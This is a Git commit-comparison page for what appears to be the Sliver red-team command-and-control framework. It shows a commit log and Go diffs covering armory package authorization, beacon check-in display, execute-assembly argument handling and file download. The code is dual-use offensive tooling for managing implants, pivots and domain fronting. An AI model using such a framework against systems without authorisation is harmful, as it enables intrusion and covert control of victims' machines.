Compare commits

...
Author SHA1 Message Date
rkervella afe6c88f83 Make vim mode configurable via client settings 2022-07-15 12:18:07 -07:00
Joe 361a4e5112 Merge pull request #743 from BishopFox/go/v1.18.4
Update to Go v1.18.4 and bump grumble
2022-07-15 12:24:30 -05:00
moloch-- 4e7093671c Update to Go v1.18.4 and bump grumble 2022-07-15 09:44:52 -07:00
Joe 68b129acaa Merge pull request #740 from BishopFox/fix/shell-stderr
Support multiple `io.ReadCloser` in `transports.Tunnel`
2022-07-10 21:48:14 -05:00
rkervella e9d0f23152 Use a ReadCloser slice in transports.Tunnel 2022-07-10 11:00:38 -07:00
Joe 1099a4acb7 Merge pull request #739 from BishopFox/fix/implant-name
Fix regression from #737
2022-07-10 10:48:16 -07:00
rkervella a51c318807 Fix regression from #737 2022-07-10 09:40:09 -07:00
rkervella e7284b5880 Handle stderr for shell command 2022-07-10 09:33:42 -07:00
rkervella 0b9cf0f105 Remove raw data print 2022-07-10 09:26:43 -07:00
rkervella 8350b441ca Remove raw dump of session data 2022-07-10 09:22:04 -07:00
rkervella f5646d9975 Fix flag parsing for implant name 2022-07-10 09:15:49 -07:00
Joe ad312b517a Merge pull request #737 from Marshall-Hallenbeck/master
Allow additional characters in implant, session, and beacon names
2022-07-09 20:31:39 -07:00
Marshall Hallenbeck 253197f21a Allow for _-. characters in session & beacon names; closes #738 2022-07-09 21:24:42 -04:00
Marshall Hallenbeck 31e0ad2967 use actual util AllowedName function in server side check for #735 2022-07-09 21:06:32 -04:00
Marshall Hallenbeck f83007fe19 Allow additional characters in implant names; closes #735 2022-07-09 20:46:02 -04:00
Joe e3e5016ed0 Merge pull request #734 from BishopFox/fix/named-pipe-perms
Fix/named pipe perms
2022-07-07 18:31:52 -07:00
rkervella fb4e05617c Merge branch 'master' into fix/named-pipe-perms 2022-07-07 17:07:22 -07:00
rkervella 5a781500ee Fix [SMB Named Pipe] ACL is too restrictive on pivot named pipe #732 2022-07-07 17:05:34 -07:00
Joe fbef52a72d Merge pull request #731 from RafBishopFox/master
Adding Filtering to the Download Command
2022-07-07 15:25:49 -05:00
RafBishopFox a018ba6a11 client/download: use filepath.Base to prevent directory traversal 2022-07-07 11:18:43 -04:00
RafBishopFox fb38c6e4bb download command: Closing files after adding them to the archive 2022-07-07 10:44:15 -04:00
RafBishopFox c989e2970d Fixing protobuf for backwards compatibility 2022-07-07 10:29:33 -04:00
RafBishopFox d935bfb8b3 Adding filtering to the download command 2022-07-07 09:17:46 -04:00
Joe 814670dc6d Merge pull request #727 from RafBishopFox/master
Moving filtering functionality of ls to the implant
2022-06-23 16:23:48 -05:00
Raf 140c47e163 Merge branch 'BishopFox:master' into master 2022-06-23 12:50:53 -04:00
RafBishopFox e28b062e6c Moving ls filtering fuctionality to the implant, add item count and total size to ls output, resolve symlinks in ls output 2022-06-23 09:57:23 -04:00
moloch-- be7b723c8a Spelling fix 2022-06-21 08:24:22 -07:00
Joe 6be3ff8db2 Merge pull request #725 from BishopFox/fix/tun-handlers-errors
Add error reporting on failure for certain tunnel handlers.
2022-06-21 09:05:17 -05:00
rkervella 20520755b2 Add client side error handling 2022-06-20 20:22:43 -07:00
rkervella 0f7b6c0f35 Report errors on failure for shell and portfwd 2022-06-20 19:57:50 -07:00
Joe 0c7c2e0291 Merge pull request #724 from BishopFox/fix/alias-install-path
Fix alias installation directory for manual installs
2022-06-20 18:45:02 -05:00
rkervella 709a5fa453 Use CommandName as base directory 2022-06-20 15:23:17 -07:00
Joe 5e4ec91914 Merge pull request #722 from BishopFox/fix/execute-assembly
Fix argument parsing in execute-assembly to remove trailing spaces
2022-06-20 13:09:07 -05:00
rkervella a19ec2b348 Fix argument parsing in execute-assembly to remove trailing spaces 2022-06-20 10:24:50 -07:00
Joe 9118f7423f Merge pull request #716 from BishopFox/fix/netstack-regression
Fix regression: add back IP forwarding for wireguard tunnels.
2022-06-15 09:59:09 -05:00
rkervella c7844f57b3 Fix regression: add back IP forwarding for wireguard tunnels. 2022-06-14 18:30:59 -07:00
Joe 23eef3d15c Merge pull request #706 from BishopFox/go/v1.18.3
Go v1.18.3
2022-06-09 17:40:24 -05:00
moloch-- 22b2704259 Go v1.18.3 2022-06-09 14:20:51 -07:00
Ronan Kervella 856fbb5974 Merge pull request #705 from BishopFox/fix/beacon-download
Fix `download` and `cat` regression
2022-06-09 11:28:04 -07:00
rkervella 6cbfe64f61 Remove commented code 2022-06-09 10:20:13 -07:00
rkervella 573ec4d800 Fix download and cat regression 2022-06-09 10:18:45 -07:00
Joe 11f93ab5b2 Merge pull request #703 from BishopFox/armory/auth
Armory Auth
2022-06-07 21:55:53 -05:00
moloch-- 48a061d59e Merge branch 'master' into armory/auth 2022-06-07 18:55:09 -07:00
Joe 2b7506b393 Merge pull request #702 from r00t0v3rr1d3/r00t0v3rr1d3-domain-fronting
Enable Domain Fronting
2022-06-07 11:40:42 -05:00
Chris Shields 2620758056 Enable Domain Fronting
Allow domain fronting by taking in HTTP C2 Advanced Option "host-header". 

Reference: https://github.com/Ne0nd0g/merlin/commit/4835ac3fa73acd963f578428d1d3e75d5cbb1bab
2022-06-07 11:54:31 -04:00
moloch-- 6262266cac Rename util.Encrypt to PreludeEncrypt 2022-06-06 07:26:25 -07:00
moloch-- 37524596bb Base64 fix to default index parser 2022-06-05 18:25:07 -07:00
moloch-- 91108619f5 Init headers map 2022-06-05 15:50:02 -07:00
moloch-- 7972fce3cc Initial implementation 2022-06-05 15:38:55 -07:00
moloch-- 30c569259d Outline auth support for private armories 2022-06-04 11:51:28 -07:00
Joe 978a66bdb0 Merge pull request #699 from mrThe/packet-shell-socks-improvements
Packet handling, socks and shell improvements
2022-06-04 13:50:11 -05:00
Joe 525eda0d15 Merge pull request #700 from mrThe/beacon-stability
Fix panic on beacon session interactive mode
2022-06-04 13:40:50 -05:00
mr.The 16aa7742ba Fix panic on beacon session interactive mode 2022-06-04 18:26:51 +03:00
mr.The 754aab265e Fix namedpipe build 2022-06-04 18:13:40 +03:00
mr.The 4b2558da0c Fix io reference 2022-06-04 17:00:09 +03:00
mr.The 838db70177 Improve closed connection handling
It's okay not to close channels if it is used for writing. Close tunnels
instead.
2022-06-04 16:27:24 +03:00
mr.The 136b50645e Extract structs from implants session.go 2022-06-04 14:31:32 +03:00
mr.The 1345c5e7d1 Tun-handlers file is a way to big, decided to split into different files 2022-06-04 14:00:49 +03:00
mr.The ffb0b0e795 Improve shell handling
Now shell will be properly closed on failure
2022-06-04 13:27:21 +03:00
mr.The d7e740b50f Improve socks handling 2022-06-03 20:51:41 +03:00
mr.The bb5f42466e Improve packet reading handling
Once we know the packet sice - we need to use ReadFull function to read
the packet to be sure we reading it right
2022-06-02 19:02:52 +03:00
Joe 1d4422b465 Merge pull request #693 from BishopFox/armory/all
Added 'armory install all' option
2022-05-29 17:14:41 -05:00
moloch-- 6dfb64ab3b Added 'armory install all' option 2022-05-29 12:28:43 -07:00
Joe 524bfdb8bb Merge pull request #692 from mrThe/fix-pivots-not-synced
Fix pivots not synced
2022-05-29 11:54:33 -05:00
moloch-- 3451490918 Added lic, updated assets gitgitnore for linux/arm64 2022-05-29 09:43:21 -07:00
Joe dc65bddfbb Merge pull request #691 from mrThe/race-conditions
Race conditions fixes and stability improvements
2022-05-29 11:40:34 -05:00
mr.The ae9fc59fa2 Remove pivot listener once it stoped from the server 2022-05-29 19:16:34 +03:00
mr.The 4c7ae8de7d Fix restarting pivot listeners, so it don't panic 2022-05-29 19:14:49 +03:00
mr.The 8865eebf55 Fix tests for non debug and windows builds 2022-05-29 18:07:45 +03:00
mr.The 56c019345d Socks stability improvements 2022-05-29 16:43:05 +03:00
mr.The 1594a2a0eb Client improved tunnel handling and additional logging 2022-05-29 14:25:02 +03:00
mr.The 675723037d Implant additional debug logs and imroved tunnels handling 2022-05-29 14:23:07 +03:00
mr.The b42c615bcf Portfwd connection handling improvements 2022-05-29 14:20:14 +03:00
mr.The f7633bbb9e Fix race condition on closing tunnels 2022-05-29 14:17:30 +03:00
mr.The 2010b08228 Change mtls reader to io.ReadFull 2022-05-29 14:09:56 +03:00
mr.The d1e97e904c Improve stability for remove shells
Fixed few raceconditions and remove unnecessary code
2022-05-28 18:41:56 +03:00
mr.The 647c8ae875 Improve pivot sessions handling, avoid stucking on implant crash
Before that if we are in shell on pivoted implant and it somewhy dies -
we are stuck forever.
2022-05-28 16:05:11 +03:00
mr.The 797365da62 Add sync.Mutex for rpc-tunnel so it wont race 2022-05-28 14:16:15 +03:00
mr.The 62be36e4ce Tunnels refactoring and datarace fixes
Golang documentation mentioning it's unsafe to concurently send messages
via same tunnel, so there is a mutex and a data copy on write
2022-05-28 14:16:14 +03:00
Joe e6ebee9db6 Merge pull request #690 from BishopFox/fix/yaml
Upgrade yaml dep
2022-05-26 16:23:47 -05:00
mr.The 50490790f1 Fix datarace on last checkin timestamp 2022-05-26 19:16:01 +03:00
mr.The e16b13c89c Fix datarace on error handling in beacon handler 2022-05-26 19:10:40 +03:00
Ronan Kervella 4339ea52e7 Merge pull request #687 from RafBishopFox/wghealth
Wireguard Session Health Status Fix
2022-05-24 14:42:57 +02:00
Joe f17ed1363f Merge pull request #686 from mrThe/master
Fix panic on x86 beacon startup, fix for #682
2022-05-23 17:43:50 -05:00
Joe ae1dc131d4 Merge pull request #685 from RafBishopFox/master
Beacon Interval Display Changes
2022-05-23 17:43:26 -05:00
RafBishopFox 22a503be9a Wireguard session health status fix 2022-05-23 13:14:27 -04:00
mr.The 1809bef81d Fix panic on x86 beacon startup 2022-05-23 19:31:41 +03:00
RafBishopFox e0a7ddfe17 Calculating beacon check in times server side, beacon interval display change, fix for interval calculation with beacon generation 2022-05-23 10:18:26 -04:00
Joe 65dd874eee Merge pull request #680 from BishopFox/dependabot/bundler/docs/nokogiri-1.13.6
Bump nokogiri from 1.13.4 to 1.13.6 in /docs
2022-05-18 23:22:19 -05:00
dependabot[bot] a5fd494f13 Bump nokogiri from 1.13.4 to 1.13.6 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.4 to 1.13.6.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.4...v1.13.6)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-05-19 03:40:00 +00:00
97 changed files with 3736 additions and 2201 deletions

No files matched your search

+1 -1
View File
@@ -1,4 +1,4 @@
FROM golang:1.18.2
FROM golang:1.18.4
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
+27 -3
View File
@@ -21,7 +21,9 @@ package assets
import (
"encoding/json"
"io/ioutil"
"log"
"os"
"os/exec"
"path/filepath"
)
@@ -30,8 +32,10 @@ const (
)
var (
// DefaultArmoryPublicKey - The default public key for the armory
DefaultArmoryPublicKey string
DefaultArmoryRepoURL string
// DefaultArmoryRepoURL - The default repo url for the armory
DefaultArmoryRepoURL string
defaultArmoryConfig = &ArmoryConfig{
PublicKey: DefaultArmoryPublicKey,
@@ -39,9 +43,12 @@ var (
}
)
// ArmoryConfig - The armory config file
type ArmoryConfig struct {
PublicKey string `json:"public_key"`
RepoURL string `json:"repo_url"`
PublicKey string `json:"public_key"`
RepoURL string `json:"repo_url"`
Authorization string `json:"authorization"`
AuthorizationCmd string `json:"authorization_cmd"`
}
// GetArmoriesConfig - The parsed armory config file
@@ -59,5 +66,22 @@ func GetArmoriesConfig() []*ArmoryConfig {
if err != nil {
return []*ArmoryConfig{defaultArmoryConfig}
}
for _, armoryConfig := range armoryConfigs {
if armoryConfig.AuthorizationCmd != "" {
armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
}
}
return append(armoryConfigs, defaultArmoryConfig)
}
func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
if armoryConfig.AuthorizationCmd == "" {
return ""
}
out, err := exec.Command(armoryConfig.AuthorizationCmd).CombinedOutput()
if err != nil {
log.Printf("Failed to execute authorization_cmd '%s': %v", armoryConfig.AuthorizationCmd, err)
return ""
}
return string(out)
}
+2
View File
@@ -35,6 +35,7 @@ type ClientSettings struct {
BeaconAutoResults bool `json:"beacon_autoresults"`
SmallTermWidth int `json:"small_term_width"`
AlwaysOverflow bool `json:"always_overflow"`
VimMode bool `json:"vim_mode"`
}
// LoadSettings - Load the client settings from disk
@@ -59,6 +60,7 @@ func defaultSettings() *ClientSettings {
BeaconAutoResults: true,
SmallTermWidth: 170,
AlwaysOverflow: false,
VimMode: false,
}
}
+2 -2
View File
@@ -59,9 +59,9 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
return
}
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
con.PrintInfof("Alias '%s' already exists", manifest.Name)
con.PrintInfof("Alias '%s' already exists", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
+2
View File
@@ -269,6 +269,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
} else {
extArgs = strings.Join(args, " ")
}
extArgs = strings.TrimSpace(extArgs)
entryPoint := aliasManifest.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
+34 -20
View File
@@ -38,12 +38,15 @@ import (
"golang.org/x/term"
)
// ArmoryIndex - Index JSON containing alias/extension/bundle information
type ArmoryIndex struct {
Aliases []*ArmoryPackage `json:"aliases"`
Extensions []*ArmoryPackage `json:"extensions"`
Bundles []*ArmoryBundle `json:"bundles"`
ArmoryConfig *assets.ArmoryConfig `json:"-"`
Aliases []*ArmoryPackage `json:"aliases"`
Extensions []*ArmoryPackage `json:"extensions"`
Bundles []*ArmoryBundle `json:"bundles"`
}
// ArmoryPackage - JSON metadata for alias or extension
type ArmoryPackage struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
@@ -53,12 +56,15 @@ type ArmoryPackage struct {
IsAlias bool `json:"-"`
}
// ArmoryBundle - A list of packages
type ArmoryBundle struct {
Name string `json:"name"`
Packages []string `json:"packages"`
}
// ArmoryHTTPConfig - Configuration for armory HTTP client
type ArmoryHTTPConfig struct {
ArmoryConfig *assets.ArmoryConfig
IgnoreCache bool
ProxyURL *url.URL
Timeout time.Duration
@@ -66,20 +72,22 @@ type ArmoryHTTPConfig struct {
}
type indexCacheEntry struct {
RepoURL string
Fetched time.Time
Index ArmoryIndex
LastErr error
ArmoryConfig *assets.ArmoryConfig
RepoURL string
Fetched time.Time
Index ArmoryIndex
LastErr error
}
type pkgCacheEntry struct {
RepoURL string
Fetched time.Time
Pkg ArmoryPackage
Sig minisign.Signature
Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest
LastErr error
ArmoryConfig *assets.ArmoryConfig
RepoURL string
Fetched time.Time
Pkg ArmoryPackage
Sig minisign.Signature
Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest
LastErr error
}
var (
@@ -395,7 +403,10 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
}
}
armoryResult := &indexCacheEntry{RepoURL: armoryConfig.RepoURL}
armoryResult := &indexCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryConfig.RepoURL,
}
defer func() {
armoryResult.Fetched = time.Now()
indexCache.Store(armoryConfig.PublicKey, *armoryResult)
@@ -431,18 +442,18 @@ func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig
for _, armoryPkg := range index.Extensions {
wg.Add(1)
armoryPkg.IsAlias = false
go fetchPackageSignature(wg, armoryPkg, clientConfig)
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
}
for _, armoryPkg := range index.Aliases {
wg.Add(1)
armoryPkg.IsAlias = true
go fetchPackageSignature(wg, armoryPkg, clientConfig)
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
}
}
wg.Wait()
}
func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
defer wg.Done()
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
if ok {
@@ -452,7 +463,10 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
}
}
pkgCacheEntry := &pkgCacheEntry{RepoURL: armoryPkg.RepoURL}
pkgCacheEntry := &pkgCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryPkg.RepoURL,
}
defer func() {
pkgCacheEntry.Fetched = time.Now()
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
@@ -472,7 +486,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
} else {
sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
+31 -6
View File
@@ -20,11 +20,13 @@ package armory
import (
"errors"
"fmt"
"io/ioutil"
"net/url"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
@@ -33,6 +35,7 @@ import (
)
var (
// ErrPackageNotFound - The package was not found
ErrPackageNotFound = errors.New("package not found")
)
@@ -45,6 +48,19 @@ func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
clientConfig := parseArmoryHTTPConfig(ctx)
refresh(clientConfig)
if name == "all" {
aliases, extensions := packagesInCache()
confirm := false
prompt := &survey.Confirm{
Message: fmt.Sprintf("Install %d aliases and %d extensions?",
len(aliases), len(extensions),
),
}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
}
err := installPackageByName(name, clientConfig, con)
if err == nil {
return
@@ -73,17 +89,26 @@ func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *con
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
aliases, extensions := packagesInCache()
for _, alias := range aliases {
if alias.CommandName == name {
if alias.CommandName == name || name == "all" {
installAlias(alias, clientConfig, con)
return nil
if name != "all" {
return nil
}
}
}
for _, ext := range extensions {
if ext.CommandName == name {
if ext.CommandName == name || name == "all" {
installExtension(ext, clientConfig, con)
return nil
if name != "all" {
return nil
}
}
}
if name == "all" {
con.Printf("\n")
con.PrintInfof("All packages installed\n")
return nil
}
return ErrPackageNotFound
}
@@ -120,7 +145,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
}
if err != nil {
return err
@@ -238,7 +263,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
}
if err != nil {
return err
+45 -13
View File
@@ -58,13 +58,13 @@ const (
)
type armoryIndexResponse struct {
Minisig string `json:"minisig"` // Minisig
ArmoryIndex string `json:"armory_index"` // Base64 String
Minisig string `json:"minisig"` // Minisig (Base64)
ArmoryIndex string `json:"armory_index"` // Index JSON (Base64)
}
type armoryPkgResponse struct {
Minisig string `json:"minisig"` // Minisig
TarGzURL string `json:"tar_gz_url"`
Minisig string `json:"minisig"` // Minisig (Base64)
TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
}
//
@@ -80,7 +80,19 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryConfig.RepoURL)
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
return nil, err
}
req := &http.Request{
Method: http.MethodGet,
URL: repoURL,
Header: map[string][]string{},
}
if armoryConfig.Authorization != "" {
req.Header.Set("Authorization", armoryConfig.Authorization)
}
resp, err := client.Do(req)
if err != nil {
return nil, err
}
@@ -92,20 +104,28 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
if resp.StatusCode != http.StatusOK {
return nil, errors.New("api returned non-200 status code")
}
index := &armoryIndexResponse{}
err = json.Unmarshal(body, index)
indexResp := &armoryIndexResponse{}
err = json.Unmarshal(body, indexResp)
if err != nil {
return nil, err
}
armoryIndexData, err := base64.StdEncoding.DecodeString(indexResp.ArmoryIndex)
if err != nil {
return nil, err
}
armoryIndexSigData, err := base64.StdEncoding.DecodeString(indexResp.Minisig)
if err != nil {
return nil, err
}
// Verify index is signed by trusted key
valid := minisign.Verify(publicKey, []byte(index.ArmoryIndex), []byte(index.ArmoryIndex))
valid := minisign.Verify(publicKey, armoryIndexData, armoryIndexSigData)
if !valid {
return nil, errors.New("invalid signature")
return nil, errors.New("index has invalid signature")
}
armoryIndex := &ArmoryIndex{}
armoryIndexData, err := base64.StdEncoding.DecodeString(index.ArmoryIndex)
armoryIndex := &ArmoryIndex{ArmoryConfig: armoryConfig}
if err != nil {
return nil, err
}
@@ -117,7 +137,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
}
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
@@ -125,7 +145,19 @@ func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryPkg.RepoURL)
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
return nil, nil, err
}
req := &http.Request{
Method: http.MethodGet,
URL: repoURL,
Header: map[string][]string{},
}
if armoryConfig.Authorization != "" {
req.Header.Set("Authorization", armoryConfig.Authorization)
}
resp, err := client.Do(req)
if err != nil {
return nil, nil, err
}
+29 -6
View File
@@ -142,17 +142,40 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
}
nextCheckin := time.Unix(beacon.NextCheckin, 0)
nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
var next string
var interval string
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
past := time.Since(nextCheckin)
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
} else {
interval = time.Since(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
} else {
eta := time.Until(nextCheckin)
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
} else {
interval = time.Until(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
}
// We need a slice of strings so we can apply filters
var rowEntries []string
/*
Round the duration to the nearest second to be more output friendly.
We deal in seconds for everything, so it makes sense to show outputs
in seconds to remain consistent.
*/
timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
if con.Settings.SmallTermWidth < width {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
@@ -163,7 +186,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
next,
}
} else {
@@ -173,7 +196,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
next,
}
}
+3 -2
View File
@@ -1799,6 +1799,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("T", "type", "", "force a specific loot type (file/cred) if looting")
f.String("F", "file-type", "", "force a specific file type (binary/text) if looting")
f.String("n", "name", "", "name to assign the download if looting")
f.Bool("r", "recurse", false, "recursively download all files in a directory")
},
Args: func(a *grumble.Args) {
a.String("remote-path", "path to the file or directory to download")
@@ -2483,7 +2484,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.NamedPipeStr}),
Flags: func(f *grumble.Flags) {
f.String("b", "bind", "", "name of the named pipe to bind pivot listener")
f.Bool("a", "allow-all", false, "allow all users to connect")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
@@ -2775,7 +2776,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "router timeout in seconds")
f.Int("i", "id", 0, "id of portfwd to remove")
f.Uint64("i", "id", 0, "id of portfwd to remove")
},
Run: func(ctx *grumble.Context) error {
con.Println()
+4 -1
View File
@@ -58,13 +58,16 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
assemblyArgs := ctx.Args.StringList("arguments")
process := ctx.Flags.String("process")
assemblyArgsStr := strings.Join(assemblyArgs, " ")
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
ctrl := make(chan bool)
con.SpinUntil("Executing assembly ...", ctrl)
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: strings.Join(assemblyArgs, " "),
Arguments: assemblyArgsStr,
Assembly: assemblyBytes,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
+1 -1
View File
@@ -125,7 +125,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
return
}
tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(ctx),
+46 -15
View File
@@ -19,17 +19,20 @@ package filesystem
*/
import (
"context"
"encoding/hex"
"fmt"
"os"
"path/filepath"
"github.com/alecthomas/chroma/formatters"
"github.com/alecthomas/chroma/lexers"
"github.com/alecthomas/chroma/styles"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
@@ -47,19 +50,55 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintCat(download, ctx, con)
})
